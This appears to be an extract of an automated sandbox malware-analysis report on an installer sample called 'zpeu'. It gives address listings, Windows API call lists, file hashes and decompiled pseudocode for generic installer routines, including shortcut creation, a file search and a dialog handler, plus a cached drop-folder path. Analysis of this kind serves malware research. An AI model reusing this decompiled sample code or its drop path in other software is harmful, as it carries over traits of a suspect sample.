                                      0x00000000
                                      0x00000000
                                      0x10001c65
                                      0x10001c66
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001c66
                                      0x10001c5d
                                      0x10001bf7
                                      0x00000000
                                      0x00000000
                                      0x10001c00
                                      0x10001c03
                                      0x10001c10
                                      0x10001c10
                                      0x10001c05
                                      0x00000000
                                      0x10001c05
                                      0x10001b7a
                                      0x10001b7d
                                      0x10001bce
                                      0x10001bd1
                                      0x10001be3
                                      0x10001be3
                                      0x10001be6
                                      0x00000000
                                      0x10001be6
                                      0x10001bd3
                                      0x10001bd8
                                      0x00000000
                                      0x00000000
                                      0x10001bda
                                      0x10001bdd
                                      0x10001ced
                                      0x10001cf0
                                      0x10001cf0
                                      0x10001cf2
                                      0x10002048
                                      0x1000204b
                                      0x100020b2
                                      0x10001d60
                                      0x10001d63
                                      0x10001d66
                                      0x10001d69
                                      0x10001d69
                                      0x10001d6b
                                      0x10001d6c
                                      0x10001d6c
                                      0x10001d6d
                                      0x00000000
                                      0x10001d6d
                                      0x1000204d
                                      0x10002050
                                      0x10002057
                                      0x10002057
                                      0x1000205b
                                      0x1000206f
                                      0x1000206f
                                      0x10002072
                                      0x10002076
                                      0x100020be
                                      0x100020c1
                                      0x100020c5
                                      0x00000000
                                      0x100020c5
                                      0x10002078
                                      0x1000207c
                                      0x00000000
                                      0x00000000
                                      0x1000207e
                                      0x10002085
                                      0x10002085
                                      0x1000208b
                                      0x1000208e
                                      0x100020aa
                                      0x10002090
                                      0x10002099
                                      0x1000209c
                                      0x1000209c
                                      0x00000000
                                      0x1000208e
                                      0x1000205d
                                      0x10002060
                                      0x10002064
                                      0x00000000
                                      0x00000000
                                      0x10002066
                                      0x00000000
                                      0x10002066
                                      0x10002052
                                      0x10002055
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10002055
                                      0x10001cf8
                                      0x10001cf8
                                      0x10001cf9
                                      0x10001e29
                                      0x10001e29
                                      0x10001e2e
                                      0x10001e31
                                      0x00000000
                                      0x00000000
                                      0x10001e3e
                                      0x00000000
                                      0x10001fe5
                                      0x10001fe8
                                      0x10001feb
                                      0x10001feb
                                      0x10001fec
                                      0x10001fed
                                      0x10001ff0
                                      0x10001ff3
                                      0x10001ff6
                                      0x00000000
                                      0x00000000
                                      0x10001ff8
                                      0x10001ff8
                                      0x10001ffc
                                      0x10002014
                                      0x10002017
                                      0x10002021
                                      0x00000000
                                      0x10002021
                                      0x10001ffe
                                      0x10001ffe
                                      0x10002001
                                      0x00000000
                                      0x00000000
                                      0x10002003
                                      0x10002006
                                      0x10002008
                                      0x10002009
                                      0x10002009
                                      0x10002009
                                      0x1000200a
                                      0x1000200d
                                      0x10002010
                                      0x10002011
                                      0x10001feb
                                      0x10001fec
                                      0x10001fed
                                      0x10001ff0
                                      0x10001ff3
                                      0x10001ff6
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001ff6
                                      0x00000000
                                      0x10001e85
                                      0x00000000
                                      0x00000000
                                      0x10001e91
                                      0x00000000
                                      0x00000000
                                      0x10001e78
                                      0x10001e7c
                                      0x10001e80
                                      0x00000000
                                      0x00000000
                                      0x10001fb6
                                      0x10001fba
                                      0x00000000
                                      0x00000000
                                      0x10001fc0
                                      0x10001fc9
                                      0x10001fd0
                                      0x10001fd8
                                      0x00000000
                                      0x00000000
                                      0x10001f53
                                      0x10001f53
                                      0x00000000
                                      0x00000000
                                      0x10001e9a
                                      0x00000000
                                      0x00000000
                                      0x10002040
                                      0x00000000
                                      0x00000000
                                      0x10002030
                                      0x00000000
                                      0x00000000
                                      0x10002034
                                      0x00000000
                                      0x00000000
                                      0x1000203c
                                      0x00000000
                                      0x00000000
                                      0x10001f76
                                      0x00000000
                                      0x00000000
                                      0x10001f5b
                                      0x10001f5d
                                      0x00000000
                                      0x00000000
                                      0x10001f7e
                                      0x00000000
                                      0x00000000
                                      0x10001f63
                                      0x00000000
                                      0x00000000
                                      0x10001f67
                                      0x00000000
                                      0x00000000
                                      0x10002038
                                      0x10002042
                                      0x10002042
                                      0x00000000
                                      0x00000000
                                      0x10001f86
                                      0x10001f8a
                                      0x10001f8f
                                      0x10001f92
                                      0x10001f93
                                      0x10001f96
                                      0x10001f9c
                                      0x10001f9c
                                      0x00000000
                                      0x00000000
                                      0x10002028
                                      0x00000000
                                      0x00000000
                                      0x10001f6b
                                      0x10001f6e
                                      0x10001f70
                                      0x00000000
                                      0x00000000
                                      0x10001ea1
                                      0x10001ea1
                                      0x00000000
                                      0x00000000
                                      0x10001f7a
                                      0x10001f80
                                      0x10001f80
                                      0x10001ea3
                                      0x10001ea3
                                      0x10001ea6
                                      0x10001ead
                                      0x10001eb0
                                      0x10001eb2
                                      0x10001eb4
                                      0x10001eb5
                                      0x10001eb9
                                      0x10001ebc
                                      0x10001ec2
                                      0x10001ec8
                                      0x10001ec8
                                      0x10001eca
                                      0x10001eca
                                      0x10001ecd
                                      0x10001ed3
                                      0x10001ed5
                                      0x10001ed9
                                      0x10001ede
                                      0x10001ede
                                      0x10001ee0
                                      0x10001ee0
                                      0x10001ee3
                                      0x10001ee6
                                      0x10001eef
                                      0x10001ef5
                                      0x10001ef8
                                      0x10001ef8
                                      0x10001efa
                                      0x10001efd
                                      0x10001f03
                                      0x00000000
                                      0x10001f03
                                      0x10001ec4
                                      0x10001ec6
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001e45
                                      0x10001e4b
                                      0x10001e4e
                                      0x10001e50
                                      0x10001e50
                                      0x10001e53
                                      0x10001e57
                                      0x10001e64
                                      0x10001e66
                                      0x10001e6c
                                      0x10001e6c
                                      0x10001e6c
                                      0x00000000
                                      0x00000000
                                      0x10001fa4
                                      0x10001fa8
                                      0x10001fad
                                      0x10001fb0
                                      0x10001f09
                                      0x10001f09
                                      0x10001f0b
                                      0x00000000
                                      0x00000000
                                      0x10001f11
                                      0x10001f11
                                      0x10001f15
                                      0x10001f1c
                                      0x10001f40
                                      0x10001f40
                                      0x10001f44
                                      0x10001f46
                                      0x10001f49
                                      0x10001f49
                                      0x10001f4c
                                      0x10001f4c
                                      0x00000000
                                      0x10001f44
                                      0x10001f21
                                      0x10001f24
                                      0x10001f24
                                      0x10001f2b
                                      0x10001f2d
                                      0x10001f30
                                      0x10001f37
                                      0x10001f38
                                      0x10001f3e
                                      0x10001f3e
                                      0x00000000
                                      0x10001f3e
                                      0x10001f32
                                      0x10001f35
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10001e3e
                                      0x10001cff
                                      0x10001cff
                                      0x10001d00
                                      0x10001e26
                                      0x00000000
                                      0x10001e26
                                      0x10001d06
                                      0x10001d07
                                      0x00000000
                                      0x00000000
                                      0x10001d0f
                                      0x10001d0f
                                      0x10001d12
                                      0x10001d5d
                                      0x00000000
                                      0x10001d5d
                                      0x10001d14
                                      0x10001d14
                                      0x10001d17
                                      0x10001d41
                                      0x10001d44
                                      0x10001d47
                                      0x10001e18
                                      0x10001e18
                                      0x10001e18
                                      0x10001d4d
                                      0x10001d4d
                                      0x10001d4d
                                      0x10001e1e
                                      0x00000000
                                      0x10001e1e
                                      0x10001d1a
                                      0x10001d1a
                                      0x10001d1b
                                      0x10001d3e
                                      0x10001d40
                                      0x10001d40
                                      0x00000000
                                      0x10001d40
                                      0x10001d1d
                                      0x10001d1d
                                      0x10001d20
                                      0x10001d3a
                                      0x00000000
                                      0x10001d3a
                                      0x10001d22
                                      0x10001d22
                                      0x10001d25
                                      0x10001d36
                                      0x00000000
                                      0x10001d36
                                      0x10001d27
                                      0x10001d27
                                      0x10001d28
                                      0x10001d32
                                      0x00000000
                                      0x10001d32
                                      0x10001d2b
                                      0x10001d2c
                                      0x00000000
                                      0x00000000
                                      0x10001d2e
                                      0x00000000
                                      0x10001d2e
                                      0x00000000
                                      0x10001bdd
                                      0x10001b7f
                                      0x10001b82
                                      0x10001bb1
                                      0x10001bb5
                                      0x10001bbc
                                      0x10001bc3
                                      0x10001bc6
                                      0x10001bc9
                                      0x00000000
                                      0x10001bc9
                                      0x10001b84
                                      0x10001b85
                                      0x10001ba0
                                      0x10001ba7
                                      0x10001baa
                                      0x00000000
                                      0x10001baa
                                      0x10001b8a
                                      0x00000000
                                      0x10001b90
                                      0x10001b90
                                      0x10001b97
                                      0x00000000
                                      0x10001b97
                                      0x10001b8a
                                      0x10001d83
                                      0x10001d88
                                      0x10001d8d
                                      0x10001d91
                                      0x100021c5
                                      0x100021cb
                                      0x10001da3
                                      0x10001da5
                                      0x10001da6
                                      0x100020ee
                                      0x100020ee
                                      0x100020f1
                                      0x100020f4
                                      0x10002111
                                      0x10002117
                                      0x10002119
                                      0x1000211f
                                      0x10002136
                                      0x10002136
                                      0x10002136
                                      0x10002143
                                      0x10002149
                                      0x1000214c
                                      0x10002152
                                      0x10002154
                                      0x10002158
                                      0x1000215a
                                      0x10002161
                                      0x10002166
                                      0x10002169
                                      0x1000216b
                                      0x10002170
                                      0x10002182
                                      0x10002182
                                      0x10002170
                                      0x10002169
                                      0x10002158
                                      0x10002188
                                      0x1000218b
                                      0x10002195
                                      0x1000219d
                                      0x100021aa
                                      0x100021b0
                                      0x100021b3
                                      0x100020e3
                                      0x100020e3
                                      0x00000000
                                      0x100020e3
                                      0x100021b9
                                      0x100021bf
                                      0x100021bf
                                      0x00000000
                                      0x00000000
                                      0x100021c1
                                      0x100021c1
                                      0x100021c1
                                      0x100021c1
                                      0x00000000
                                      0x1000218d
                                      0x1000218d
                                      0x10002193
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10002193
                                      0x1000218b
                                      0x10002122
                                      0x10002128
                                      0x1000212a
                                      0x10002130
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x10002130
                                      0x100020f6
                                      0x100020fd
                                      0x10002103
                                      0x10002109
                                      0x00000000
                                      0x10002109
                                      0x10001dac
                                      0x10001dad
                                      0x100020cd
                                      0x100020cd
                                      0x100020d3
                                      0x100020d6
                                      0x00000000
                                      0x00000000
                                      0x100020dd
                                      0x100020e2
                                      0x00000000
                                      0x100020e2
                                      0x10001db4
                                      0x00000000
                                      0x00000000
                                      0x10001dba
                                      0x10001dba
                                      0x10001dc3
                                      0x10001dc8
                                      0x10001dce
                                      0x00000000
                                      0x00000000
                                      0x10001dd4
                                      0x10001de1
                                      0x10001de7
                                      0x10001df1
                                      0x10001df7
                                      0x10001dff
                                      0x10001e0f
                                      0x00000000
                                      0x10001e0f

                                      APIs
                                        • Part of subcall function 1000121B: GlobalAlloc.KERNEL32(00000040,?,1000123B,?,100012DF,00000019,100011BE,-000000A0), ref: 10001225
                                      • GlobalAlloc.KERNEL32(00000040,00001CA4), ref: 10001C24
                                      • lstrcpyW.KERNEL32(00000008,?), ref: 10001C6C
                                      • lstrcpyW.KERNEL32(00000808,?), ref: 10001C76
                                      • GlobalFree.KERNEL32(00000000), ref: 10001C89
                                      • GlobalFree.KERNEL32(?), ref: 10001D83
                                      • GlobalFree.KERNEL32(?), ref: 10001D88
                                      • GlobalFree.KERNEL32(?), ref: 10001D8D
                                      • GlobalFree.KERNEL32(00000000), ref: 10001F38
                                      • lstrcpyW.KERNEL32(?,?), ref: 1000209C
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56287645095.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true
                                      • Associated: 00000002.00000002.56287621187.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287670249.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      • Associated: 00000002.00000002.56287691268.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_10000000_zpeu.jbxd
                                      Similarity
                                      • API ID: Global$Free$lstrcpy$Alloc
                                      • String ID:
                                      • API String ID: 4227406936-0
                                      • Opcode ID: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
                                      • Instruction ID: 952ca616c20dc2fa21031af5d26a5f3ec91fa4f9dea92b18a1e2b318678e368b
                                      • Opcode Fuzzy Hash: 5a24c136153c29b9d98a91a4f463aeb2504b823c6cdae7135cdbbdb8769d9cc1
                                      • Instruction Fuzzy Hash: 10129C75D0064AEFEB20CFA4C8806EEB7F4FB083D4F61452AE565E7198D774AA80DB50
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 67%
                                      			E004020FE() {
                                      				signed int _t52;
                                      				void* _t56;
                                      				intOrPtr* _t60;
                                      				intOrPtr _t61;
                                      				intOrPtr* _t62;
                                      				intOrPtr* _t64;
                                      				intOrPtr* _t66;
                                      				intOrPtr* _t68;
                                      				intOrPtr* _t70;
                                      				intOrPtr* _t72;
                                      				intOrPtr* _t74;
                                      				intOrPtr* _t76;
                                      				intOrPtr* _t78;
                                      				intOrPtr* _t80;
                                      				void* _t83;
                                      				intOrPtr* _t91;
                                      				signed int _t101;
                                      				signed int _t105;
                                      				void* _t107;
                                      
                                      				 *((intOrPtr*)(_t107 - 0x4c)) = E00402C37(0xfffffff0);
                                      				 *((intOrPtr*)(_t107 - 0x3c)) = E00402C37(0xffffffdf);
                                      				 *((intOrPtr*)(_t107 - 8)) = E00402C37(2);
                                      				 *((intOrPtr*)(_t107 - 0x48)) = E00402C37(0xffffffcd);
                                      				 *((intOrPtr*)(_t107 - 0xc)) = E00402C37(0x45);
                                      				_t52 =  *(_t107 - 0x18);
                                      				 *(_t107 - 0x44) = _t52 & 0x00000fff;
                                      				_t101 = _t52 & 0x00008000;
                                      				_t105 = _t52 >> 0x0000000c & 0x00000007;
                                      				 *(_t107 - 0x38) = _t52 >> 0x00000010 & 0x0000ffff;
                                      				if(E00405B94( *((intOrPtr*)(_t107 - 0x3c))) == 0) {
                                      					E00402C37(0x21);
                                      				}
                                      				_t56 = _t107 + 8;
                                      				__imp__CoCreateInstance(0x4084dc, _t83, 1, 0x4084cc, _t56);
                                      				if(_t56 < _t83) {
                                      					L14:
                                      					 *((intOrPtr*)(_t107 - 4)) = 1;
                                      					_push(0xfffffff0);
                                      				} else {
                                      					_t60 =  *((intOrPtr*)(_t107 + 8));
                                      					_t61 =  *((intOrPtr*)( *_t60))(_t60, 0x4084ec, _t107 - 0x30);
                                      					 *((intOrPtr*)(_t107 - 0x10)) = _t61;
                                      					if(_t61 >= _t83) {
                                      						_t64 =  *((intOrPtr*)(_t107 + 8));
                                      						 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t64 + 0x50))(_t64,  *((intOrPtr*)(_t107 - 0x3c)));
                                      						if(_t101 == _t83) {
                                      							_t80 =  *((intOrPtr*)(_t107 + 8));
                                      							 *((intOrPtr*)( *_t80 + 0x24))(_t80, L"C:\\Users\\Arthur\\AppData\\Local\\Microsoft\\Windows\\INetCache\\spilplatform\\Thenceforth");
                                      						}
                                      						if(_t105 != _t83) {
                                      							_t78 =  *((intOrPtr*)(_t107 + 8));
                                      							 *((intOrPtr*)( *_t78 + 0x3c))(_t78, _t105);
                                      						}
                                      						_t66 =  *((intOrPtr*)(_t107 + 8));
                                      						 *((intOrPtr*)( *_t66 + 0x34))(_t66,  *(_t107 - 0x38));
                                      						_t91 =  *((intOrPtr*)(_t107 - 0x48));
                                      						if( *_t91 != _t83) {
                                      							_t76 =  *((intOrPtr*)(_t107 + 8));
                                      							 *((intOrPtr*)( *_t76 + 0x44))(_t76, _t91,  *(_t107 - 0x44));
                                      						}
                                      						_t68 =  *((intOrPtr*)(_t107 + 8));
                                      						 *((intOrPtr*)( *_t68 + 0x2c))(_t68,  *((intOrPtr*)(_t107 - 8)));
                                      						_t70 =  *((intOrPtr*)(_t107 + 8));
                                      						 *((intOrPtr*)( *_t70 + 0x1c))(_t70,  *((intOrPtr*)(_t107 - 0xc)));
                                      						if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
                                      							_t74 =  *((intOrPtr*)(_t107 - 0x30));
                                      							 *((intOrPtr*)(_t107 - 0x10)) =  *((intOrPtr*)( *_t74 + 0x18))(_t74,  *((intOrPtr*)(_t107 - 0x4c)), 1);
                                      						}
                                      						_t72 =  *((intOrPtr*)(_t107 - 0x30));
                                      						 *((intOrPtr*)( *_t72 + 8))(_t72);
                                      					}
                                      					_t62 =  *((intOrPtr*)(_t107 + 8));
                                      					 *((intOrPtr*)( *_t62 + 8))(_t62);
                                      					if( *((intOrPtr*)(_t107 - 0x10)) >= _t83) {
                                      						_push(0xfffffff4);
                                      					} else {
                                      						goto L14;
                                      					}
                                      				}
                                      				E00401423();
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t107 - 4));
                                      				return 0;
                                      			}






















                                      0x00402107
                                      0x00402111
                                      0x0040211b
                                      0x00402125
                                      0x00402130
                                      0x00402133
                                      0x0040214d
                                      0x00402150
                                      0x00402156
                                      0x00402159
                                      0x00402163
                                      0x00402167
                                      0x00402167
                                      0x0040216c
                                      0x0040217d
                                      0x00402185
                                      0x0040223c
                                      0x0040223c
                                      0x00402243
                                      0x0040218b
                                      0x0040218b
                                      0x0040219a
                                      0x0040219e
                                      0x004021a1
                                      0x004021a7
                                      0x004021b5
                                      0x004021b8
                                      0x004021ba
                                      0x004021c5
                                      0x004021c5
                                      0x004021ca
                                      0x004021cc
                                      0x004021d3
                                      0x004021d3
                                      0x004021d6
                                      0x004021df
                                      0x004021e2
                                      0x004021e8
                                      0x004021ea
                                      0x004021f4
                                      0x004021f4
                                      0x004021f7
                                      0x00402200
                                      0x00402203
                                      0x0040220c
                                      0x00402212
                                      0x00402214
                                      0x00402222
                                      0x00402222
                                      0x00402225
                                      0x0040222b
                                      0x0040222b
                                      0x0040222e
                                      0x00402234
                                      0x0040223a
                                      0x0040224f
                                      0x00000000
                                      0x00000000
                                      0x00000000
                                      0x0040223a
                                      0x00402245
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • CoCreateInstance.OLE32(004084DC,?,00000001,004084CC,?,?,00000045,000000CD,00000002,000000DF,000000F0), ref: 0040217D
                                      Strings
                                      • C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth, xrefs: 004021BD
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: CreateInstance
                                      • String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth
                                      • API String ID: 542301482-3690038070
                                      • Opcode ID: 6a73a02503d44bb31e679befed85152b1616c559738105c0cf9dadfb40333c17
                                      • Instruction ID: 8d58e3acc7b173ba9b06918936dfe92dd1a067fa61399e551ad1d720d45e9931
                                      • Opcode Fuzzy Hash: 6a73a02503d44bb31e679befed85152b1616c559738105c0cf9dadfb40333c17
                                      • Instruction Fuzzy Hash: A64148B5A00208AFCB10DFE4C988AAEBBB5FF48314F20457AF515EB2D1DB799941CB44
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 39%
                                      			E00402862(short __ebx, short* __esi) {
                                      				void* _t21;
                                      
                                      				if(FindFirstFileW(E00402C37(2), _t21 - 0x2d4) != 0xffffffff) {
                                      					E00406193( *((intOrPtr*)(_t21 - 0xc)), _t8);
                                      					_push(_t21 - 0x2a8);
                                      					_push(__esi);
                                      					E0040624C();
                                      				} else {
                                      					 *((short*)( *((intOrPtr*)(_t21 - 0xc)))) = __ebx;
                                      					 *__esi = __ebx;
                                      					 *((intOrPtr*)(_t21 - 4)) = 1;
                                      				}
                                      				 *0x42a2a8 =  *0x42a2a8 +  *((intOrPtr*)(_t21 - 4));
                                      				return 0;
                                      			}




                                      0x0040287a
                                      0x00402895
                                      0x004028a0
                                      0x004028a1
                                      0x004029db
                                      0x0040287c
                                      0x0040287f
                                      0x00402882
                                      0x00402885
                                      0x00402885
                                      0x00402ac2
                                      0x00402ace

                                      APIs
                                      • FindFirstFileW.KERNEL32(00000000,?,00000002), ref: 00402871
                                      Memory Dump Source
                                      • Source File: 00000002.00000002.56206629477.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                      • Associated: 00000002.00000002.56206604795.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206694106.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000422000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000042D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.0000000000435000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56206728175.000000000044E000.00000004.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000450000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000460000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.0000000000469000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      • Associated: 00000002.00000002.56207036438.000000000046F000.00000002.00000001.01000000.00000004.sdmpDownload File
                                      Joe Sandbox IDA Plugin
                                      • Snapshot File: hcaresult_2_2_400000_zpeu.jbxd
                                      Similarity
                                      • API ID: FileFindFirst
                                      • String ID:
                                      • API String ID: 1974802433-0
                                      • Opcode ID: 4dcabbf17ade67e2922ca78fe286c3d9ba2f9d985751f28a6fa0d9db42db9f20
                                      • Instruction ID: 457e94eee93b26a2a7a920d72ffedce9eee0ef57ab85e6e0c0e07cda1b0ec514
                                      • Opcode Fuzzy Hash: 4dcabbf17ade67e2922ca78fe286c3d9ba2f9d985751f28a6fa0d9db42db9f20
                                      • Instruction Fuzzy Hash: 72F08271A04104EFD710EBA4DD49AADB378EF00314F2045BBF911F21D1D7B44E409B2A
                                      Uniqueness

                                      Uniqueness Score: -1.00%

                                      C-Code - Quality: 91%
                                      			E0040437E(struct HWND__* _a4, int _a8, unsigned int _a12, WCHAR* _a16) {
                                      				intOrPtr _v8;
                                      				int _v12;
                                      				void* _v16;
                                      				struct HWND__* _t56;
                                      				intOrPtr _t69;
                                      				signed int _t75;
                                      				signed short* _t76;
                                      				signed short* _t78;
                                      				long _t92;
                                      				int _t103;
                                      				signed int _t110;
                                      				intOrPtr _t113;
                                      				WCHAR* _t114;
                                      				signed int* _t116;
                                      				WCHAR* _t117;
                                      				struct HWND__* _t118;
                                      
                                      				if(_a8 != 0x110) {
                                      					if(_a8 != 0x111) {
                                      						L13:
                                      						if(_a8 != 0x4e) {
                                      							if(_a8 == 0x40b) {
                                      								 *0x4216b4 =  *0x4216b4 + 1;
                                      							}
                                      							L27:
                                      							_t114 = _a16;
                                      							L28:
                                      							return E00404248(_a8, _a12, _t114);
                                      						}
                                      						_t56 = GetDlgItem(_a4, 0x3e8);
                                      						_t114 = _a16;
                                      						if( *((intOrPtr*)(_t114 + 8)) == 0x70b &&  *((intOrPtr*)(_t114 + 0xc)) == 0x201) {
                                      							_t103 =  *((intOrPtr*)(_t114 + 0x1c));
                                      							_t113 =  *((intOrPtr*)(_t114 + 0x18));
                                      							_v12 = _t103;
                                      							_v16 = _t113;
                                      							_v8 = 0x4281a0;
                                      							if(_t103 - _t113 < 0x800) {
                                      								SendMessageW(_t56, 0x44b, 0,  &_v16);
                                      								SetCursor(LoadCursorW(0, 0x7f02));
                                      								_push(1);
                                      								E0040462D(_a4, _v8);
                                      								SetCursor(LoadCursorW(0, 0x7f00));
                                      								_t114 = _a16;
                                      							}
                                      						}
                                      						if( *((intOrPtr*)(_t114 + 8)) != 0x700 ||  *((intOrPtr*)(_t114 + 0xc)) != 0x100) {
                                      							goto L28;
                                      						} else {
                                      							if( *((intOrPtr*)(_t114 + 0x10)) == 0xd) {
                                      								SendMessageW( *0x42a208, 0x111, 1, 0);
                                      							}
                                      							if( *((intOrPtr*)(_t114 + 0x10)) == 0x1b) {
                                      								SendMessageW( *0x42a208, 0x10, 0, 0);
                                      							}
                                      							return 1;
                                      						}
                                      					}
                                      					if(_a12 >> 0x10 != 0 ||  *0x4216b4 != 0) {
                                      						goto L27;
                                      					} else {
                                      						_t69 =  *0x4226c0; // 0x682fbc
                                      						_t29 = _t69 + 0x14; // 0x682fd0
                                      						_t116 = _t29;
                                      						if(( *_t116 & 0x00000020) == 0) {
                                      							goto L27;
                                      						}
                                      						 *_t116 =  *_t116 & 0xfffffffe | SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001;
                                      						E00404203(SendMessageW(GetDlgItem(_a4, 0x40a), 0xf0, 0, 0) & 0x00000001);
                                      						E00404609();
                                      						goto L13;
                                      					}
                                      				}
                                      				_t117 = _a16;
                                      				_t75 =  *(_t117 + 0x30);
                                      				if(_t75 < 0) {
                                      					_t75 =  *( *0x4291dc - 4 + _t75 * 4);
                                      				}
                                      				_t76 =  *0x42a258 + _t75 * 2;
                                      				_t110 =  *_t76 & 0x0000ffff;
                                      				_a8 = _t110;
                                      				_t78 =  &(_t76[1]);
                                      				_a16 = _t78;
                                      				_v16 = _t78;
                                      				_v12 = 0;
                                      				_v8 = E0040432F;
                                      				if(_t110 != 2) {
                                      					_v8 = E004042F5;
                                      				}
                                      				_push( *((intOrPtr*)(_t117 + 0x34)));
                                      				_push(0x22);
                                      				E004041E1(_a4);
                                      				_push( *((intOrPtr*)(_t117 + 0x38)));
                                      				_push(0x23);
                                      				E004041E1(_a4);
                                      				CheckDlgButton(_a4, (0 | ( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001) == 0x00000000) + 0x40a, 1);
                                      				E00404203( !( *(_t117 + 0x14)) >> 0x00000005 & 0x00000001 |  *(_t117 + 0x14) & 0x00000001);
                                      				_t118 = GetDlgItem(_a4, 0x3e8);
                                      				E00404216(_t118);
                                      				SendMessageW(_t118, 0x45b, 1, 0);
                                      				_t92 =  *( *0x42a214 + 0x68);
                                      				if(_t92 < 0) {
                                      					_t92 = GetSysColor( ~_t92);
                                      				}
                                      				SendMessageW(_t118, 0x443, 0, _t92);
                                      				SendMessageW(_t118, 0x445, 0, 0x4010000);
                                      				SendMessageW(_t118, 0x435, 0, lstrlenW(_a16));
                                      				 *0x4216b4 = 0;
                                      				SendMessageW(_t118, 0x449, _a8,  &_v16);
                                      				 *0x4216b4 = 0;
                                      				return 0;
                                      			}



















                                      0x00404390
                                      0x004044bd
                                      0x0040451a
                                      0x0040451e
                                      0x004045eb
                                      0x004045ed
                                      0x004045ed
                                      0x004045f3
                                      0x004045f3
                                      0x004045f6
                                      0x00000000
                                      0x004045fd
                                      0x0040452c
                                      0x00404532
                                      0x0040453c
                                      0x00404547
                                      0x0040454a
                                      0x0040454d
                                      0x00404558
                                      0x0040455b
                                      0x00404562
                                      0x0040456f
                                      0x00404580
                                      0x00404586
                                      0x0040458e
                                      0x0040459c
                                      0x004045a2
                                      0x004045a2
                                      0x00404562
                                      0x004045ac
                                      0x00000000
                                      0x004045b7
                                      0x004045bb
                                      0x004045cb
                                      0x004045cb
                                      0x004045d1
                                      0x004045dd
                                      0x004045dd
                                      0x00000000
                                      0x004045e1
                                      0x004045ac
                                      0x004044c8
                                      0x00000000
                                      0x004044da
                                      0x004044da
                                      0x004044df
                                      0x004044df
                                      0x004044e5
                                      0x00000000
                                      0x00000000
                                      0x0040450e
                                      0x00404510
                                      0x00404515
                                      0x00000000
                                      0x00404515
                                      0x004044c8
                                      0x00404396
                                      0x00404399
                                      0x0040439e
                                      0x004043af
                                      0x004043af
                                      0x004043b7
                                      0x004043ba
                                      0x004043be
                                      0x004043c1
                                      0x004043c5
